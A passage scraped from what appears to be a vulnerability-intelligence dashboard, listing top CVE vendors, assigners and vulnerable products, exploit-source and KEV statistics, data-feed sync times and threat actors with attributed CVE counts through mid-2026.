    gnu121p
    1.2k
  • 32
    suse120p
    1.2k
  • 33
    fortinet255p
    1.1k
  • 34
    totolink159p
    1.1k
  • 35
    juniper421p
    1.1k
  • 36
    phpgurukul87p
    1.1k
  • 37
    mediatek582p
    1.0k
  • 38
    vmware195p
    1.0k
  • 39
    f5284p
    974
  • 40
    joomla148p
    963
  • 41
    drupal143p
    861
  • 42
    foxitsoftware24p
    797
  • 43
    nvidia356p
    780
  • 44
    php25p
    776
  • 45
    imagemagick3p
    768
  • 46
    schneider-electric1746p
    768
  • 47
    oretnom23112p
    761
  • 48
    wireshark1p
    736
  • 49
    novell111p
    675
  • 50
    qnap145p
    635

Top Assigners

50 · CNA
  • 1
    mitre
    115.3k
  • 2
    Patchstack
    16.5k
  • 3
    GitHub_M
    16.4k
  • 4
    VulDB
    14.9k
  • 5
    Linux
    12.5k
  • 6
    redhat
    12.3k
  • 7
    Wordfence
    10.3k
  • 8
    apple
    8.2k
  • 9
    ibm
    7.9k
  • 10
    oracle
    7.6k
  • 11
    adobe
    7.4k
  • 12
    secure@microsoft.com
    6.7k
  • 13
    microsoft
    6.6k
  • 14
    cisco
    6.4k
  • 15
    google_android
    5.2k
  • 16
    Chrome
    4.8k
  • 17
    VulnCheck
    4.7k
  • 18
    WPScan
    4.3k
  • 19
    intel
    4.2k
  • 20
    icscert
    3.7k
  • 21
    qualcomm
    3.7k
  • 22
    certcc
    3.4k
  • 23
    zdi
    3.3k
  • 24
    jpcert
    3.2k
  • 25
    mozilla
    2.6k
  • 26
    talos
    2.5k
  • 27
    huawei
    2.3k
  • 28
    dell
    2.2k
  • 29
    apache
    2.1k
  • 30
    fortinet
    1.9k
  • 31
    siemens
    1.8k
  • 32
    hackerone
    1.7k
  • 33
    sap
    1.6k
  • 34
    @huntrdev
    1.6k
  • 35
    hpe
    1.5k
  • 36
    GitLab
    1.5k
  • 37
    jenkins
    1.5k
  • 38
    secalert_us@oracle.com
    1.2k
  • 39
    INCIBE
    1.1k
  • 40
    MediaTek
    1.0k
  • 41
    juniper
    1.0k
  • 42
    hp
    973
  • 43
    nvidia
    968
  • 44
    f5
    956
  • 45
    @huntr_ai
    889
  • 46
    snyk
    879
  • 47
    twcert
    874
  • 48
    vmware
    866
  • 49
    debian
    804
  • 50
    Samsung Mobile
    788

CVE Publish Timeline

last 3 years
141.9k
new CVEs · Jun 2023Jun 2026
130
avg / day
847
peak May 2024
Jun 2023Dec 2023Jun 2024Dec 2024Jun 2025Dec 2025Jun 2026Jun 2026
0280559847

Top ATT&CK

50 · technique

Top Products

50 · vulnerable
  • 1
    linux kernellinux
    13.8k
  • 2
    debian linuxdebian
    10.0k
  • 3
    androidgoogle
    8.1k
  • 4
    fedorafedoraproject
    5.4k
  • 5
    chromegoogle
    4.9k
  • 6
    windows server 2016microsoft
    4.7k
  • 7
    windows server 2019microsoft
    4.4k
  • 8
    ubuntu linuxcanonical
    4.1k
  • 9
    iphone osapple
    4.0k
  • 10
    windows server 2012microsoft
    3.9k
  • 11
    windows server 2008microsoft
    3.6k
  • 12
    mac os xapple
    3.2k
  • 13
    firefoxmozilla
    3.1k
  • 14
    windows 10microsoft
    3.0k
  • 15
    windows server 2022microsoft
    2.8k
  • 16
    macosapple
    2.7k
  • 17
    windows 7microsoft
    2.4k
  • 18
    windows 8.1microsoft
    2.2k
  • 19
    windows 10 21h2microsoft
    2.0k
  • 20
    windows 10 22h2microsoft
    2.0k
  • 21
    windows 10 1809microsoft
    2.0k
  • 22
    windows rt 8.1microsoft
    2.0k
  • 23
    tvosapple
    2.0k
  • 24
    enterprise linux desktopredhat
    1.9k
  • 25
    leapopensuse
    1.9k
  • 26
    ipadosapple
    1.9k
  • 27
    enterprise linux serverredhat
    1.9k
  • 28
    enterprise linux workstationredhat
    1.8k
  • 29
    enterprise linuxredhat
    1.8k
  • 30
    acrobat dcadobe
    1.8k
  • 31
    acrobat reader dcadobe
    1.8k
  • 32
    watchosapple
    1.8k
  • 33
    thunderbirdmozilla
    1.7k
  • 34
    windows 10 1607microsoft
    1.7k
  • 35
    windows server 2022 23h2microsoft
    1.7k
  • 36
    windows 11 23h2microsoft
    1.7k
  • 37
    windows 11 22h2microsoft
    1.7k
  • 38
    internet explorermicrosoft
    1.6k
  • 39
    safariapple
    1.6k
  • 40
    opensuseopensuse
    1.5k
  • 41
    gitlabgitlab
    1.4k
  • 42
    acrobatadobe
    1.4k
  • 43
    windows 11 24h2microsoft
    1.3k
  • 44
    mysqloracle
    1.3k
  • 45
    windows server 2025microsoft
    1.3k
  • 46
    windows 10 1507microsoft
    1.2k
  • 47
    wcd9380 firmwarequalcomm
    1.2k
  • 48
    experience manageradobe
    1.1k
  • 49
    wsa8830 firmwarequalcomm
    1.1k
  • 50
    wsa8835 firmwarequalcomm
    1.1k

Exploit Sources

36,959 exploited
  • 1
    Exploitdbexploitdb
    25.0k
  • 2
    Github Pocgithub_poc
    8.8k
  • 3
    Metasploitmetasploit
    3.1k

KEV Velocity

last 14d
11
added · 14d
peak 3
06-09
06-07KEV additions / day06-20
Sources22/22
cisa_kev1,623 / 24habout 5 hours ago·csaf_cisco0 / 24habout 2 hours ago·csaf_oracle1 day ago·csaf_redhat0 / 24habout 2 hours ago·csaf_siemens1 day ago·cve.org7,867 / 24habout 2 hours ago·EPSS (FIRST.org)341,602 / 24habout 6 hours ago·euvd34,000 / 24habout 2 hours ago·exploitdb47,089 / 24habout 2 hours ago·ghsa223 / 24habout 2 hours ago·github_poc394,908 / 24habout 2 hours ago·metasploit5 days ago·misp3 days ago·mitre_attack5 days ago·mitre_capec615 / 24habout 11 hours ago·mitre_cwe5 days ago·mitre_d3fend697 / 24habout 11 hours ago·msrc0 / 24habout 2 hours ago·NVD API 2.01 day ago·osv269,025 / 24habout 4 hours ago·sigma7,462 / 24habout 4 hours ago·vulncheck_kev0 / 24habout 4 hours ago·cisa_kev1,623 / 24habout 5 hours ago·csaf_cisco0 / 24habout 2 hours ago·csaf_oracle1 day ago·csaf_redhat0 / 24habout 2 hours ago·csaf_siemens1 day ago·cve.org7,867 / 24habout 2 hours ago·EPSS (FIRST.org)341,602 / 24habout 6 hours ago·euvd34,000 / 24habout 2 hours ago·exploitdb47,089 / 24habout 2 hours ago·ghsa223 / 24habout 2 hours ago·github_poc394,908 / 24habout 2 hours ago·metasploit5 days ago·misp3 days ago·mitre_attack5 days ago·mitre_capec615 / 24habout 11 hours ago·mitre_cwe5 days ago·mitre_d3fend697 / 24habout 11 hours ago·msrc0 / 24habout 2 hours ago·NVD API 2.01 day ago·osv269,025 / 24habout 4 hours ago·sigma7,462 / 24habout 4 hours ago·vulncheck_kev0 / 24habout 4 hours ago·

Top Threat Actors

drag to browse · all actors →
Storm-1175
Cybercrime

no aliases

CVEs attributed11 KEV-listed
11
UAT-8616
Cybercrime

no aliases

CVEs attributed6 KEV-listed
6
UAT-8302
Cybercrime

no aliases

CVEs attributed3 KEV-listed
3
Team46
Cybercrime

aka: TaxOff

CVEs attributed1 KEV-listed
2
UNC5330
Cybercrime

no aliases

CVEs attributed2 KEV-listed
2
INJ3CTOR3
Cybercrime

no aliases

CVEs attributed1 KEV-listed
2
Mora_001
Ransomware

no aliases

CVEs attributed2 KEV-listed
2
ScreamedJungle
Cybercrime

no aliases

CVEs attributed1 KEV-listed
2
The Gentlemen
Ransomware

no aliases

CVEs attributed2 KEV-listed
2
UNC5337
Cybercrime

no aliases

CVEs attributed2 KEV-listed
2
UNC6748
Cybercrime

no aliases

CVEs attributed2 KEV-listed
2
SandCat
Cybercrime

no aliases

CVEs attributed2 KEV-listed
2
Shadow-Earth-053
Cybercrime

no aliases

CVEs attributed2 KEV-listed
2
APT41
APT
State-sponsored

aka: Amoeba · BARIUM · BRONZE ATLAS · BRONZE EXPORT +16

CVEs attributed2 KEV-listed
2
Water Sigbin
APT

aka: 8220 Gang

CVEs attributed2 KEV-listed
2
TA459
APT

aka: G0062

CVEs attributed2 KEV-listed
2
Belsen Group
Cybercrime

no aliases

CVEs attributed2 KEV-listed
2
APT33
APT
EspionageState-sponsored

aka: APT 33 · ATK35 · COBALT TRINITY · Elfin +6

CVEs attributed1 KEV-listed
1
APT18
APT
EspionageState-sponsored

aka: DYNAMITE PANDA · G0026 · PLA Navy · SCANDIUM +3

CVEs attributed1 KEV-listed
1
PittyTiger
APT

no aliases

CVEs attributed1 KEV-listed
1
APT16
APT
EspionageState-sponsored

aka: G0023 · SVCMONDR

CVEs attributed1 KEV-listed
1
[Unnamed group]
APT

no aliases

CVEs attributed1 KEV-listed
1
TA428
APT

aka: BRONZE DUDLEY · Colourful Panda

CVEs attributed1 KEV-listed
1
RAZOR TIGER
APT
State-sponsored

aka: APT-C-17 · Rattlesnake · SideWinder · T-APT-04

CVEs attributed1 KEV-listed
1
BRONZE SPIRAL
Cybercrime

no aliases

CVEs attributed1 KEV-listed
1
DarkCasino
APT

no aliases

CVEs attributed1 KEV-listed
1
Denim Tsunami
Cybercrime

aka: DSIRF · KNOTWEED

CVEs attributed1 KEV-listed
1
Lilac Typhoon
APT

aka: DEV-0234

CVEs attributed1 KEV-listed
1
Opal Sleet
APT

aka: Konni · OSMIUM · Vedalia

CVEs attributed1 KEV-listed
1
Storm-1567
Ransomware

aka: Akira · GOLD SAHARA · PUNK SPIDER

CVEs attributed1 KEV-listed
1
ProCC
Cybercrime

no aliases

CVEs attributed1 KEV-listed
1
UNC5325
Cybercrime

no aliases

CVEs attributed1 KEV-listed
1
FlyingYeti
Cybercrime

aka: Flying Yeti · Storm-1837

CVEs attributed1 KEV-listed
1
Void Banshee
Cybercrime

no aliases

CVEs attributed1 KEV-listed
1
Earth Baxia
Cybercrime

no aliases

CVEs attributed1 KEV-listed
1
CosmicBeetle
Ransomware

no aliases

CVEs attributed1 KEV-listed
1
SongXY
APT

no aliases

CVEs attributed1 KEV-listed
1
Asnarök
Cybercrime

aka: Personal Panda

CVEs attributed1 KEV-listed
1
UNC5820
Cybercrime

no aliases

CVEs attributed1 KEV-listed
1
Tstark
Cybercrime

no aliases

CVEs attributed1 KEV-listed
1
UAC-0194
Cybercrime

no aliases

CVEs attributed1 KEV-listed
1
Ukrainian Cyber Alliance
Ransomware

aka: UCA

CVEs attributed1 KEV-listed
1
Operation ForumTroll
Cybercrime

no aliases

CVEs attributed1 KEV-listed
1
UAC-0226
Cybercrime

no aliases

CVEs attributed1 KEV-listed
1
Earth Lamia
Cybercrime

aka: UNC5454

CVEs attributed1 KEV-listed
1
UNC6485
Cybercrime

no aliases

CVEs attributed1 KEV-listed
1
UAT-8837
Cybercrime

no aliases

CVEs attributed1 KEV-listed
1
DarkPink
APT

aka: Saaiwc

CVEs attributed1 KEV-listed
1
UAT-6382
Cybercrime

no aliases

CVEs attributed
1
Amaranth-Dragon
Cybercrime

no aliases

CVEs attributed1 KEV-listed
1

Live Events

Reconnecting…